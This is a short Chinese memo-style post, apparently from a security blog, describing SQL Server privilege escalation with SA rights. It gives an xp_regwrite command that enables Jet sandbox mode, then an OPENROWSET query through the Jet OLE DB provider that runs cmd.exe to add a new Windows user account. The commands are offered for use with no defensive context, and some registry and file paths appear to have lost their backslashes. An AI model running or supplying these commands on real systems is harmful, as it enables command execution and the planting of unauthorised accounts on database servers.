SA权限沙盘模式提权方法
方便自己记忆再写出来，在这种情况下，要执行命令，条件是要有xp_regwrite。
首先开启沙盘模式：
exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE MicrosoftJet4.0Engines,SandBoxMode,REG_DWORD,1
然后利用jet.oledb执行系统命令
select * from openrowset(microsoft.jet.oledb.4.0,;database=c:windowssystem32iasias.mdb,select shell("cmd.exe /c net user cnfjhh fst /add"))
相关文章
图文推荐
- 文章
- 推荐
- 热门新闻